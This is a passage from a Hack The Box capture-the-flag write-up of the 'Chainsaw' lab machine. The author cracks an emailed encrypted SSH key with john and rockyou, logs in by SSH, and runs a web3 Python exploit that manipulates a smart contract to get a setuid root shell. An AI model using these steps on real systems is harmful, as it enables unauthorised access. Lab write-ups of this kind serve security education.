QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 10083 laraaxelrod600-protonmail-2018-12-13T20_49_35+01_00.eml
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me 10092 wendyrhoades600-protonmail-2018-12-13T20_50_15+01_00.eml
administrator@chainsaw:/home/administrator$

We’re interested in bobby‘s file so I used ipfs get to get it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
administrator@chainsaw:/home/administrator$ ipfs get QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
Saving file(s) to QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
4.53 KiB / 4.53 KiB 100.00% 0s
administrator@chainsaw:/home/administrator$ ls -al
total 112
drwxr-x--- 8 administrator administrator 4096 Nov 22 19:50 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Nov 22 19:50 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
-rw-r--r-- 1 administrator administrator 4629 Nov 22 19:50 QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
administrator@chainsaw:/home/administrator$

The email had his encrypted ssh key as an attachment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
administrator@chainsaw:/home/administrator$ cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department <chainsaw_admin@protonmail.ch>
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93
To: bobbyaxelrod600@protonmail.ch <bobbyaxelrod600@protonmail.ch>
X-Attached: bobby.key.enc
Message-Id: <zctvLwVo5mWy8NaBt3CLKmxVckb-cX7OCfxUYfHsU2af1NH4krcpgGz7h-PorsytjrT3sA9Ju8WNuWaRAnbE0CY0nIk2WmuwOvOnmRhHPoU=@protonmail.ch>
Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500
X-Original-To: bobbyaxelrod600@protonmail.ch
Return-Path: <chainsaw_admin@protonmail.ch>
Delivered-To: bobbyaxelrod600@protonmail.ch
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451
-----------------------ffced83f318ffbd54e80374f045d2451
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp
cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM
aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl
IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs
IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs
eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo
ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl
YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg
YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48
YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g
RGVwYXJ0bWVudDxicj48L2Rpdj4=
-----------------------ffced83f318ffbd54e80374f045d2451--
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"

LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJM
RUVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0
dG5ySWo2bWRCYjZybk42Q3NQMHZiejlOelJCeWcxbzZjU0dkckwyRW1KTi9lU3hENEFXTGN6Cm4z
MkZQWTBWamxJVnJoNHJqaFJlMndQTm9nQWNpQ0htWkdFQjB0Z3YyL2V5eEU2M1ZjUnpyeEpDWWwr
aHZTWjYKZnZzU1g4QTRRcjdyYmY5Zm56NFBJbUlndXJGM1ZoUW1kbEVtekRSVDRtL3BxZjNUbUdB
azkrd3JpcW5rT0RGUQpJKzJJMWNQYjhKUmhMU3ozcHlCM1gvdUdPVG5ZcDRhRXErQVFaMnZFSnoz
RmZYOVNYOWs3ZGQ2S2FadFNBenFpCnc5ODFFUzg1RGs5TlVvOHVMeG5aQXczc0Y3UHo0RXVKMEhw
bzFlWmdZdEt6dkRLcnJ3OHVvNFJDYWR4N0tIUlQKaW5LWGR1SHpuR0ExUVJPelpXN3hFM0hFTDN2
eFI5Z01WOGdKUkhEWkRNSTl4bHc5OVFWd2N4UGNGYTMxQXpWMgp5cDNxN3lsOTU0U0NNT3RpNFJD
M1o0eVVUakRrSGRIUW9FY0dpZUZPV1UraTFvaWo0Y3J4MUxiTzJMdDhuSEs2CkcxQ2NxN2lPb240
UnNUUmxWcnY4bGlJR3J4bmhPWTI5NWU5ZHJsN0JYUHBKcmJ3c284eHhIbFQzMzMzWVU5ZGoKaFFM
TnA1KzJINCtpNm1tVTN0Mm9nVG9QNHNrVmNvcURsQ0MrajZoRE9sNGJwRDl0NlRJSnVyV3htcEdn
TnhlcwpxOE5zQWVudGJzRCt4bDRXNnE1bXVMSlFtai94UXJySGFjRVpER0k4a1d2WkUxaUZtVmtE
L3hCUm53b0daNWh0CkR5aWxMUHBsOVIrRGg3YnkzbFBtOGtmOHRRbkhzcXBSSGNleUJGRnBucTBB
VWRFS2ttMUxSTUxBUFlJTGJsS0cKandyQ3FSdkJLUk1JbDZ0SmlEODdOTTZKQm9ReWRPRWNwbis2
RFUrMkFjdGVqYnVyMGFNNzRJeWVlbnJHS1NTWgpJWk1zZDJrVFNHVXh5OW8veFBLRGtVdy9TRlV5
U21td2lxaUZMNlBhRGd4V1F3SHh0eHZtSE1oTDZjaXROZEl3ClRjT1RTSmN6bVIycEp4a29oTHJI
N1lyUzJhbEtzTTBGcEZ3bWR6MS9YRFNGMkQ3aWJmL1cxbUF4TDVVbUVxTzAKaFVJdVcxZFJGd0hq
TnZhb1NrK2ZyQXA2aWM2SVBZU21kbzhHWVl5OHBYdmNxd2ZScHhZbEFDWnU0RmlpNmhZaQo0V3Bo
VDNaRllEcnc3U3RnSzA0a2JEN1FrUGVOcTlFdjFJbjJuVmR6RkhQSWg2eitmbXBiZ2ZXZ2VsTEhj
MmV0ClNKWTQrNUNFYmtBY1lFVW5QV1k5U1BPSjdxZVU3K2IvZXF6aEtia3BuYmxtaUsxZjNyZU9N
MllVS3k4YWFsZWgKbkpZbWttcjN0M3FHUnpoQUVUY2tjOEhMRTExZEdFK2w0YmE2V0JOdTE1R29F
V0Fzenp0TXVJVjFlbW50OTdvTQpJbW5mb250T1lkd0I2LzJvQ3V5SlRpZjhWdy9XdFdxWk5icGV5
OTcwNGE5bWFwLytiRHFlUVE0MStCOEFDRGJLCldvdnNneVdpL1VwaU1UNm02clgrRlA1RDVFOHpy
WXRubm1xSW83dnhIcXRCV1V4amFoQ2RuQnJrWUZ6bDZLV1IKZ0Z6eDNlVGF0bFpXeXI0a3N2Rm10
b2JZa1pWQVFQQUJXeitnSHB1S2xycWhDOUFOenIvSm4rNVpmRzAybW9GLwplZEwxYnA5SFBSSTQ3
RHl2THd6VDEvNUw5Wno2WSsxTXplbmRUaTNLcnpRL1ljZnI1WUFSdll5TUxiTGpNRXRQClV2SmlZ
NDB1Mm5tVmI2UXFwaXkyenIvYU1saHB1cFpQay94dDhvS2hLQytsOW1nT1RzQVhZakNiVG1MWHpW
clgKMTVVMjEwQmR4RUZVRGNpeE5pd1Rwb0JTNk1meENPWndOLzFadjBtRThFQ0krNDRMY3FWdDN3
PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0=
-----------------------d296272d7cb599bff2a1ddf6d6374d93--
administrator@chainsaw:/home/administrator$

I copied it to my box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:~/Desktop/HTB/boxes/chainsaw# nano bobby.key.enc.b64
root@kali:~/Desktop/HTB/boxes/chainsaw# base64 -d bobby.key.enc.b64 > bobby.key.enc
root@kali:~/Desktop/HTB/boxes/chainsaw# cat bobby.key.enc
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,53D881F299BA8503

SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk
7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz
n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6
fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ
I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi
w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT
inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2
yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6
G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj
hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes
q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht
DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG
jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ
IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw
TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0
hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi
4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et
SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh
nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM
ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK
WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR
gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/
edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP
UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX
15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w==
root@kali:~/Desktop/HTB/boxes/chainsaw#

I used ssh2john.py to get the hash of the key in john format then I used john with rockyou.txt to crack it:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash
root@kali:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain (./bobby.key.enc)
1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7¡Vamos!
Session completed
root@kali:~/Desktop/HTB/boxes/chainsaw#

Password: jackychain, let’s ssh into the box as bobby:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc
root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc bobby@chainsaw.htb
Enter passphrase for key 'bobby.key.enc':
bobby@chainsaw:~$ whoami
bobby
bobby@chainsaw:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
bobby@chainsaw:~$ ls -la
total 52
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null
-rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout
-rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc
drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache
drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg
drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java
drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local
-rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects
drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources
drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh
-r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt
-rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts
bobby@chainsaw:~$


We owned user.

ChainsawClub: Analysis

In bobby‘s home directory there was a directory called projects which had a project called ChainsawClub, Inside that directory there was another smart contract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bobby@chainsaw:~$ cd projects/
bobby@chainsaw:~/projects$ ls -al
total 12
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 ..
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub
bobby@chainsaw:~/projects$ cd ChainsawClub/
bobby@chainsaw:~/projects/ChainsawClub$ ls -al
total 156
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 .
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 ..
-rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt
-rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub
-rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json
-rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol
bobby@chainsaw:~/projects/ChainsawClub$

ChainsawClub.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity ^0.4.22;

contract ChainsawClub {

string username = 'nobody';
string password = '7b455ca1ffcb9f3828cfdde4a396139e';
bool approve = false;
uint totalSupply = 1000;
uint userBalance = 0;

function getUsername() public view returns (string) {
return username;
}
function setUsername(string _value) public {
username = _value;
}
function getPassword() public view returns (string) {
return password;
}
function setPassword(string _value) public {
password = _value;
}
function getApprove() public view returns (bool) {
return approve;
}
function setApprove(bool _value) public {
approve = _value;
}
function getSupply() public view returns (uint) {
return totalSupply;
}
function getBalance() public view returns (uint) {
return userBalance;
}
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}
function reset() public {
username = '';
password = '';
userBalance = 0;
totalSupply = 1000;
approve = false;
}
}

There was also a setuid elf executable called ChainsawClub:

1
2
3
bobby@chainsaw:~/projects/ChainsawClub$ file ChainsawClub
ChainsawClub: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08b87cf44d6a671b91bc55f6e1f53c7ee083a417, not stripped
bobby@chainsaw:~/projects/ChainsawClub$

When executed it prints a note saying “Please sign up first and then log in!”, then it asks for credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username:
Password:
[*] Wrong credentials!
^C
bobby@chainsaw:~/projects/ChainsawClub$

Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract.
We’ll use:
setUsername() to set the username
setPassword() to set the password, it has to be md5 hashed as we saw:

1
string password = '7b455ca1ffcb9f3828cfdde4a396139e';

setApprove() to change approve from false to true
transfer() to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply and we can’t transfer more than that:

1
2
3
4
5
6
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}

Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.

ChainsawClub: Exploitation

I used netstat to list the open ports, 63991 was open and listening on localhost only so I assumed that it’s the port on which the contract is deployed:

1
2
3
4
5
6
7
8
9
10
11
12
bobby@chainsaw:~/projects/ChainsawClub$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
bobby@chainsaw:~/projects/ChainsawClub$

I got the ABI of the contract like I did before:

And we have the address of the contract in address.txt
I wrote the exploit and forwarded the port to my box:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc bobby@chainsaw.htb                                                                                                          
Enter passphrase for key 'bobby.key.enc':
bobby@chainsaw:~$

The exploit is similar to the first one.
ChainsawClubExploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv
from hashlib import md5

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, username, password, passhash):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to localhost:63991")
w3 = Web3(Web3.HTTPProvider('http://localhost:63991'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[ { "constant": true, "inputs": [], "name": "getBalance", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setPassword", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getUsername", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getApprove", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "bool" } ], "name": "setApprove", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getPassword", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "reset", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setUsername", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Calling setUsername() with: {}".format(username))
contract.functions.setUsername(username).transact()
print(GREEN + "[*] Done. getUsername(): " + contract.functions.getUsername().call())
print(YELLOW + "[+] Calling setPassword() with: {} ({})".format(passhash, password))
contract.functions.setPassword(passhash).transact()
print(GREEN + "[*] Done. getPassword(): " + contract.functions.getPassword().call())
print(YELLOW + "[+] Calling setApprove() with: True")
contract.functions.setApprove(True).transact()
print(GREEN + "[*] Done. getApprove(): " + str(contract.functions.getApprove().call()))
print(YELLOW + "[+] Calling transfer() with: 1000")
contract.functions.transfer(1000).transact()
print(GREEN + "[*] Done. getBalance(): " + str(contract.functions.getBalance().call()))
print(GREEN + "[+] Exploit finished. Now you can login with the provided credentials: {}:{}, Exiting...".format(username,password))
exit()

if len(argv) != 4:
print(YELLOW + "[!] Usage: {} [contract address] [username] [password]".format(argv[0]))
exit()
else:
address = argv[1]
username = argv[2]
password = argv[3]
passhash = md5(password.encode('utf-8')).hexdigest()
exploit(address, username, password, passhash)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Desktop/HTB/boxes/chainsaw# ./ChainsawClubExploit.py 0xE6384BBbBb7C30C4Af2287872179296d46d863bE rick pwn3d                                                                                            
[+] Starting
[+] Connecting to localhost:63991
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0xE6384BBbBb7C30C4Af2287872179296d46d863bE
[*] Done
[+] Calling setUsername() with: rick
[*] Done. getUsername(): rick
[+] Calling setPassword() with: b2f3d1e0efcb5d60e259a34ecbbdbe00 (pwn3d)
[*] Done. getPassword(): b2f3d1e0efcb5d60e259a34ecbbdbe00
[+] Calling setApprove() with: True
[*] Done. getApprove(): True
[+] Calling transfer() with: 1000
[*] Done. getBalance(): 1000
[+] Exploit finished. Now you can login with the provided credentials: rick:pwn3d, Exiting...
root@kali:~/Desktop/HTB/boxes/chainsaw#

After authenticating I got a root shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: rick
Password:

************************
* Welcome to the club! *
************************

Rule #1: Do not get excited too fast.

root@chainsaw:/home/bobby/projects/ChainsawClub#
root@chainsaw:/home/bobby/projects/ChainsawClub# whoami
root
root@chainsaw:/home/bobby/projects/ChainsawClub# id
uid=0(root) gid=0(root) groups=0(root)
root@chainsaw:/home/bobby/projects/ChainsawClub#

However the root flag wasn’t there:

Slack Space –> Root Flag

root.txt size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes (4096 - 52) which is called “slack space”. (Check this page, and this one).
Slack space can be used to hide data, which was the case here with the root flag. I used bmap:

1
bmap --mode slack root.txt --verbose


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Networked
Next Hack The Box write-up : Hack The Box - Heist